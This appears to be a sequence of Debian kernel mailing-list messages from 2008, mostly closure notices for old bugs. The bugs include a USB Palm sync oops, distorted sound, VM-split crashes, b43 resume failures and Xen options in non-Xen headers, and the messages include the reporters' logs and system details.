Bug#358849: marked as done (linux-image-2.6.15-1-686: kernel oops when syncing USB palm, keyboard stops working)
Your message dated Wed, 21 May 2008 02:30:15 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.15-1-686: kernel oops when syncing USB palm, keyboard stops working has caused the Debian Bug report #358849, regarding linux-image-2.6.15-1-686: kernel oops when syncing USB palm, keyboard stops working to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 358849: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=358849 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.15-1-686 Version: 2.6.15-7bpo1 Severity: normal When trying to sync (using JPilot) my Samsung i500 (PalmOS Phone) the sync fails, and keyboard stops working (both USB and PS2 keyboard). The system is still responsive, as the mouse works and I can log in remotely. Im pretty sure this is not unique to Debian. usb 1-2: new full speed USB device using uhci_hcd and address 2 usbcore: registered new driver usbserial drivers/usb/serial/usb-serial.c: USB Serial support registered for generic usbcore: registered new driver usbserial_generic drivers/usb/serial/usb-serial.c: USB Serial Driver core drivers/usb/serial/usb-serial.c: USB Serial support registered for Handspring Visor / Palm OS drivers/usb/serial/usb-serial.c: USB Serial support registered for Sony Clie 3.5 drivers/usb/serial/usb-serial.c: USB Serial support registered for Sony Clie 5.0 usb 1-2: palm_os_4_probe - error -32 getting connection info visor 1-2:1.0: Handspring Visor / Palm OS converter detected usb 1-2: Handspring Visor / Palm OS converter now attached to ttyUSB0 usb 1-2: Handspring Visor / Palm OS converter now attached to ttyUSB1 usb 1-2: palm_os_4_probe - error -32 getting connection info visor 1-2:1.1: Handspring Visor / Palm OS converter detected usb 1-2: Handspring Visor / Palm OS converter now attached to ttyUSB2 usb 1-2: Handspring Visor / Palm OS converter now attached to ttyUSB3 usbcore: registered new driver visor drivers/usb/serial/visor.c: USB HandSpring Visor / Palm OS driver usbcore: registered new driver cdc_acm drivers/usb/class/cdc-acm.c: v0.23:USB Abstract Control Model driver for USB modems and ISDN adapters visor ttyUSB0: Device lied about number of ports, please use a lower one. visor ttyUSB0: Device lied about number of ports, please use a lower one. visor ttyUSB0: Device lied about number of ports, please use a lower one. visor ttyUSB0: Device lied about number of ports, please use a lower one. visor ttyUSB0: Device lied about number of ports, please use a lower one. usb 1-2: USB disconnect, address 2 Unable to handle kernel paging request at virtual address 01600231 printing eip: c01e9fd5 *pde = Oops: [#1] Modules linked in: cdc_acm visor usbserial appletalk ax25 ipx nvidia agpgart openafs ide_cd cdrom parport_pc parport floppy rtc pcspkr i2c_i801 i2c_core piix snd_intel8x0 snd_ac97_codec snd_ac97_bus snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd soundcore snd_page_alloc tsdev ehci_hcd usbhid uhci_hcd usbcore shpchp pci_hotplug tg3 ext2 ipv6 ext3 jbd mbcache sd_mod generic ide_core ahci ata_piix libata scsi_mod evdev mousedev CPU:0 EIP:0060:[c01e9fd5]Tainted: P VLI EFLAGS: 00210246 (2.6.15-1-686) EIP is at check_tty_count+0x33/0x7a eax: 016001bd ebx: ecx: d0d08000 edx: d0d08978 esi: 00200293 edi: d0d08000 ebp: dfe7e6c0 esp: dfd47f30 ds: 007b es: 007b ss: 0068 Process events/0 (pid: 4, threadinfo=dfd46000 task=dfe7aa70) Stack: d0d08000 c01ea85c d0d08000 c0292ca5 d0d08944 00200293 d0d08000 dfe7e6c0 c012235f d0d08000 c01ea80b 0001 c01138e7 0001 c026b8bc dfd47fc0 Call Trace: [c01ea85c] do_tty_hangup+0x51/0x28e [c012235f] worker_thread+0x15c/0x1c0 [c01ea80b] do_tty_hangup+0x0/0x28e [c01138e7] default_wake_function+0x0/0x12 [c026b8bc] schedule+0x456/0x4bb [c01138e7] default_wake_function+0x0/0x12 [c0122203] worker_thread+0x0/0x1c0 [c0125372] kthread+0x79/0xa3 [c01252f9] kthread+0x0/0xa3 [c01012c1] kernel_thread_helper+0x5/0xb Code: 91 78 09 00 00 8b 02 0f 18 00 90 8d 81 78 09 00 00 39 c2 74 13 8b 12 43 8b 02 0f 18 00 90 8d 81 78 09 00 00 39 c2 75 ed 8b 41 04 81 78 74 04 00 02 00 75 17 8b 91 cc 00 00 00 85 d2 74 0d 83 ba 6visor ttyUSB0: Handspring Visor / Palm OS converter now disconnected from ttyUSB0 visor ttyUSB1: Handspring Visor / Palm OS converter now disconnected from ttyUSB1 visor 1-2:1.0: device disconnected visor ttyUSB2: Handspring Visor / Palm OS converter now disconnected from ttyUSB2 visor ttyUSB3: Handspring
Bug#361959: marked as done (linux-image-2.6.15-1-686: Problem synchronizing Palm Tungsten T5 with pilot-link)
Your message dated Wed, 21 May 2008 02:33:58 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.15-1-686: Problem synchronizing Palm Tungsten T5 with pilot-link has caused the Debian Bug report #361959, regarding linux-image-2.6.15-1-686: Problem synchronizing Palm Tungsten T5 with pilot-link to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 361959: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=361959 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.15-1-686 Version: 2.6.15-8 Severity: normal pilot-link works flawlessly with linux-image-2.6.12, but doesn't work with linux-image-2.6.15. Works fine with a Kubuntu linux with kernel 2.6.15. -- System Information: Debian Release: testing/unstable APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.15-1-686 Locale: LANG=es_ES.UTF-8, LC_CTYPE=es_ES.UTF-8 (charmap=UTF-8) Versions of packages linux-image-2.6.15-1-686 depends on: ii module-init-tools 3.2.2-2tools for managing Linux kernel mo ii yaird [linux-initramfs-tool] 0.0.12-9 Yet Another mkInitRD Versions of packages linux-image-2.6.15-1-686 recommends: ii libc6-i6862.3.6-3GNU C Library: Shared libraries [i -- debconf information: linux-image-2.6.15-1-686/postinst/kimage-is-a-directory: linux-image-2.6.15-1-686/preinst/overwriting-modules-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/depmod-error-initrd-2.6.15-1-686: false linux-image-2.6.15-1-686/postinst/bootloader-error-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/bootloader-test-error-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/lilo-has-ramdisk: linux-image-2.6.15-1-686/preinst/failed-to-move-modules-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/old-system-map-link-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/abort-install-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/abort-overwrite-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/bootloader-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/prerm/would-invalidate-boot-loader-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/lilo-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-initrd-link-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-dir-initrd-link-2.6.15-1-686: true * linux-image-2.6.15-1-686/preinst/already-running-this-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/initrd-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/depmod-error-2.6.15-1-686: false linux-image-2.6.15-1-686/postinst/create-kimage-link-2.6.15-1-686: true linux-image-2.6.15-1-686/prerm/removing-running-kernel-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/elilo-initrd-2.6.15-1-686: true ---End Message--- ---BeginMessage--- closing as ancient kernel, yaird usage and no follow up since initial post. unlikely to exist in recent 2.6.24 linux images. -- maks ---End Message---
Bug#361889: marked as done (linux-image-2.6.15-1-686: After kernel upgrade the sound became distorted.)
Your message dated Wed, 21 May 2008 02:32:29 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.15-1-686: After kernel upgrade the sound became distorted. has caused the Debian Bug report #361889, regarding linux-image-2.6.15-1-686: After kernel upgrade the sound became distorted. to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 361889: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=361889 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.15-1-686 Version: 2.6.15-8 Severity: normal I did a dist upgrade from sarge to unstable and in the midst I also upgraded the kernel from 2.6.11 to 2.6.15. Once I did the kernel upgrade my sound became distorted. I can still hear music and stuff but it's distorted and more quiet than usual. I've adjusted all my sound settings to different settings to make sure that wasn't causing problems. I reconfigured alsa and that didn't fix anything. The only thing that I can think of is that the kernel is causing it. -- System Information: Debian Release: testing/unstable APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.15-1-686 Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1) Versions of packages linux-image-2.6.15-1-686 depends on: ii initramfs-tools [linux-initra 0.53c tools for generating an initramfs ii module-init-tools 3.2.2-2tools for managing Linux kernel mo Versions of packages linux-image-2.6.15-1-686 recommends: pn libc6-i686none (no description available) -- debconf information: linux-image-2.6.15-1-686/preinst/abort-install-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/abort-overwrite-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/bootloader-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/prerm/would-invalidate-boot-loader-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/kimage-is-a-directory: linux-image-2.6.15-1-686/preinst/lilo-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-initrd-link-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-dir-initrd-link-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/overwriting-modules-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/depmod-error-initrd-2.6.15-1-686: false linux-image-2.6.15-1-686/preinst/already-running-this-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/initrd-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/depmod-error-2.6.15-1-686: false linux-image-2.6.15-1-686/postinst/bootloader-error-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/bootloader-test-error-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/lilo-has-ramdisk: linux-image-2.6.15-1-686/postinst/create-kimage-link-2.6.15-1-686: true linux-image-2.6.15-1-686/prerm/removing-running-kernel-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/failed-to-move-modules-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/elilo-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-system-map-link-2.6.15-1-686: true ---End Message--- ---BeginMessage--- closing as no further update since initial report, ancient kernel. recent kernel have much newer alsa. unlikely that bug still exists. -- maks ---End Message---
Bug#360598: marked as done (linux-2.6 [i386]: sets non-default vm split)
Your message dated Wed, 21 May 2008 02:35:54 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-2.6 [i386]: sets non-default vm split has caused the Debian Bug report #360598, regarding linux-2.6 [i386]: sets non-default vm split to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 360598: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=360598 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: cmucl Version: 19c-release-20051115-2 Severity: normal When trying to run CMUCL under the recently released 2.6.16 kernels, it fails to start with the error: chateau:~ lisp Couldn't mmap at 0xbe00, len 1048576; got mapping at 0xa7cc1000 insteadensure_space: Failed to validate 1048576 bytes at 0xbe00 The problem is semi-serious in the sense that Debian unstable only really has the 2.6.16 kernels left and thus it kind of is not possible to run CMUCL together with a supported distributed kernel. -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.16-1-k7 Locale: LANG=C, LC_CTYPE=da_DK (charmap=ISO-8859-1) Versions of packages cmucl depends on: ii common-lisp-controller5.13 This is a Common Lisp source and c ii debconf [debconf-2.0] 1.4.72 Debian configuration management sy Versions of packages cmucl recommends: ii binfmt-support1.2.7 Support for extra binary formats -- debconf information: cmucl/upgradeproblems: ---End Message--- ---BeginMessage--- Version: 2.6.18-1 I recently tested a standard debian kernel and with linux-image-2.6.18-1-686 I can again run sbcl and cmucl. So there is a debian kernel that can be used, ok cool thanks for report closing. -- maks ---End Message---
Bug#367403: marked as done (linux-2.6 [i386]: One more non-default vm split triggered bug)
Your message dated Wed, 21 May 2008 02:35:54 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-2.6 [i386]: sets non-default vm split has caused the Debian Bug report #360598, regarding linux-2.6 [i386]: One more non-default vm split triggered bug to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 360598: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=360598 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: user-mode-linux Version: 2.6.16-1um-2 Severity: normal When user-mode linux is used with a host kernel of linux-image-2.6.16-1-k7 (ie, the package in sid), it panics. When the host kernel is linux-image-2.6.15-1-k7 (also from sid), it works perfectly. I've tested this with a number of guest images; debian sid, ubuntu breezy dapper. Doesn't appear to be an NPTL issue; it crashes under 2.6.16 whether the /lib/tls libraries are present or not. The boot messages when it fails: $ linux ubd0=uml1.img con=pty con0=fd:0,fd:1 mem=256M eth0=daemon,,unix,/var/run/vde/tap1.ctl eth1=daemon,,unix,/var/run/vde/tap1.ctl Checking that ptrace can change system call numbers...OK Checking syscall emulation patch for ptrace...OK Checking advanced syscall emulation patch for ptrace...OK Checking PROT_EXEC mmap in /tmp...OK Checking for the skas3 patch in the host: - /proc/mm...not found - PTRACE_FAULTINFO...not found - PTRACE_LDT...not found UML running in SKAS0 mode Linux version 2.6.16 ([EMAIL PROTECTED]) (gcc version 4.0.4 20060422 (prerelease) (Debian 4.0.3-2)) #2 Sat Apr 29 23:36:42 CEST 2006 Built 1 zonelists Kernel command line: ubd0=uml1.img con=pty con0=fd:0,fd:1 mem=256M eth0=daemon,,unix,/var/run/vde/tap1.ctl eth1=daemon,,unix,/var/run/vde/tap1.ctl root=98:0 PID hash table entries: 2048 (order: 11, 32768 bytes) [...] kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. VFS: Mounted root (ext3 filesystem) readonly. mapping mmap stub failed, errno = 12 Kernel panic - not syncing: start_userspace : expected SIGSTOP, got status = 256 EIP: 0073:[e410] CPU: 0 Not tainted ESP: 007b:a7e29fa8 EFLAGS: 00200246 Not tainted EAX: EBX: 13f5 ECX: 0013 EDX: 13f5 ESI: 13f1 EDI: 0011 EBP: a7e29fc4 DS: 007b ES: 007b 08267af8: [0806f080] show_regs+0xb4/0xb9 08267b24: [0805e08c] panic_exit+0x23/0x3d 08267b38: [0807e495] notifier_call_chain+0x1a/0x31 08267b58: [08072ffb] panic+0x4f/0xca 08267b74: [0806c165] start_userspace+0xce/0x11a 08267b94: [0805e31a] init_new_context_skas+0xfb/0x13e 08267bb4: [080ad3f0] do_execve+0x96/0x1df 08267bd8: [080599b8] execve1+0x28/0x52 08267bfc: [080599f5] um_execve+0x13/0x3f 08267c18: [0805936a] run_init_process+0x34/0x4f 08267c38: [08059471] init+0xec/0x117 08267c48: [0806955b] run_kernel_thread+0x42/0x4a 08267cf8: [0805e49f] new_thread_handler+0x7f/0xa9 08267d1c: [e420] _etext+0xf7e66406/0x0 Thanks, Paul. -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.16-1-k7 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages user-mode-linux depends on: ii uml-utilities 20060323-3 User-mode Linux (utility programs) user-mode-linux recommends no packages. -- no debconf information ---End Message--- ---BeginMessage--- Version: 2.6.18-1 I recently tested a standard debian kernel and with linux-image-2.6.18-1-686 I can again run sbcl and cmucl. So there is a debian kernel that can be used, ok cool thanks for report closing. -- maks ---End Message---
Bug#361214: linux-image-2.6.15-1-sparc64-smp: RED state exception crashes on sparc64 SMP
please give update on recent kernel aka 2.6.25 linux images or at least 2.6.24 thanks?! -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#361684: marked as done (linux-image-2.6.15-1-686: is unuseable on HP OmniBook 4150 on batteries)
Your message dated Wed, 21 May 2008 02:40:53 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.15-1-686: is unuseable on HP OmniBook 4150 on batteries has caused the Debian Bug report #361684, regarding linux-image-2.6.15-1-686: is unuseable on HP OmniBook 4150 on batteries to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 361684: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=361684 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.15-1-686 Version: 2.6.15-8 Severity: normal I installed Debian testing on a HP OmniBook 4150. It works great if the notebook is attached to a power supply. If the notebook is booted when running on batteries the system is almost unuseable. The init process seems to hang right from the start but when you press some keys on the keyboard the system seems to wake up for some seconds and the init process continues bit by bit... I tried to use acpi instead of apm (added the kernel boot option acpi=off apm=on and added apm to /etc/modules) but this was even worse: The system bootet without hammering on the keyboard but the timing was completely broken. The cursor frequency changed wildly depending on system load and the clock was running like crazy (ca. double speed) when opening large applications. I remeber that I had some other Linux version installed on this notebook some years ago and it did not have this problem (but others). I wanted to give it a second chance because rumors said that Linux runs better on older hardware. This does not always seem to be true :-( -- System Information: Debian Release: testing/unstable APT prefers testing APT policy: (500, 'testing'), (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.15-1-686 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages linux-image-2.6.15-1-686 depends on: ii initramfs-tools [linux-initra 0.59b tools for generating an initramfs ii module-init-tools 3.2.2-2tools for managing Linux kernel mo Versions of packages linux-image-2.6.15-1-686 recommends: pn libc6-i686none (no description available) -- debconf information: linux-image-2.6.15-1-686/preinst/abort-install-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/abort-overwrite-2.6.15-1-686: linux-image-2.6.15-1-686/prerm/would-invalidate-boot-loader-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/bootloader-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/kimage-is-a-directory: linux-image-2.6.15-1-686/preinst/lilo-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-initrd-link-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-dir-initrd-link-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/overwriting-modules-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/depmod-error-initrd-2.6.15-1-686: false * linux-image-2.6.15-1-686/preinst/already-running-this-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/initrd-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/depmod-error-2.6.15-1-686: false linux-image-2.6.15-1-686/postinst/bootloader-error-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/bootloader-test-error-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/lilo-has-ramdisk: linux-image-2.6.15-1-686/postinst/create-kimage-link-2.6.15-1-686: true linux-image-2.6.15-1-686/prerm/removing-running-kernel-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/failed-to-move-modules-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/elilo-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-system-map-link-2.6.15-1-686: true ---End Message--- ---BeginMessage--- irc and according to info on the net those boxes needed an bios upgrade thus closing. according to gentoo wiki apm works. so it might well be non functioning hardware. good luck -- maks ---End Message---
Bug#482154: linux-headers-2.6.25-2-686: headers contain Xen references on non-Xen kernel
Package: linux-headers-2.6.25-2-686 Version: 2.6.25-3 Severity: important $ grep XEN /usr/src/linux-headers-2.6.25-2-686/.config CONFIG_XEN=y CONFIG_XEN_BLKDEV_FRONTEND=m CONFIG_XEN_NETDEV_FRONTEND=m CONFIG_HVC_XEN=y The output above shows that Xen .config options are set on a kernel which should not have Xen configured. This, among other things, causes third-party kernel modules to fail to build. -2 is the first release with this bug. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (700, 'unstable'), (600, 'experimental'), (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-headers-2.6.25-2-686 depends on: ii gcc-4.1 4.1.2-22 The GNU C compiler ii linux-headers-2.6.25-2-common 2.6.25-3 Common header files for Linux 2.6. ii linux-kbuild-2.6.25 2.6.25-2 Kbuild infrastructure for Linux 2. linux-headers-2.6.25-2-686 recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482153: linux-image-2.6-686: Driver b43 fails to recover from hibernate
Package: linux-image-2.6-686 Version: 2.6.24+13 Severity: normal The b43 driver on Broadcom BCM4306 wireless hardware does not work properly after resuming from hibernate. This is happening since the latest kernel update. The wireless functionality is present in the GNOME network applet, but no access points/networks are seen. Attempting to rmmod and then modprobe b43 results in the machine hard-locking, requiring a power reset (Alt-SysRq doesn't work). The following error messages are seen (before trying rmmod+modprobe): May 17 11:12:05 Amy NetworkManager: info Waking up from sleep. May 17 11:12:05 Amy NetworkManager: info Deactivating device wlan0. May 17 11:12:05 Amy gnome-power-manager: (bhaskar) Resuming computer May 17 11:12:07 Amy kernel: input: b43-phy0 as /class/input/input10 May 17 11:12:07 Amy kernel: b43-phy0 ERROR: Microcode not responding May 17 11:12:07 Amy kernel: b43-phy0 ERROR: You must go to http://linuxwireless.org/en/users/Drivers/b43#devicefirmware and download the correct firmware (version 4). May 17 11:12:09 Amy NetworkManager: WARN nm_device_802_11_wireless_scan(): (wlan0): could not trigger wireless scan: Network is down May 17 11:12:09 Amy NetworkManager: info Deactivating device eth0. May 17 11:12:09 Amy kernel: input: b43-phy0 as /class/input/input11 -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6-686 depends on: ii linux-image-2.6.24-1-686 2.6.24-6 Linux 2.6.24 image on PPro/Celeron linux-image-2.6-686 recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
EXT3 filesystem corruption
Hi, I added a response to the following bug report about 6 months ago, and was wondering if it can be resolved: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=425534 The bug is a documented race condition in ext3, with a patch that has been applied upstream, which I thought might be considered important enough to fix. I would imagine that it woud not cause problems for a lot of users, who would either not hit the race condition, or it would be corrected (and possibly ignored) when the machine runs a fsck on reboot. Regards Steven -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
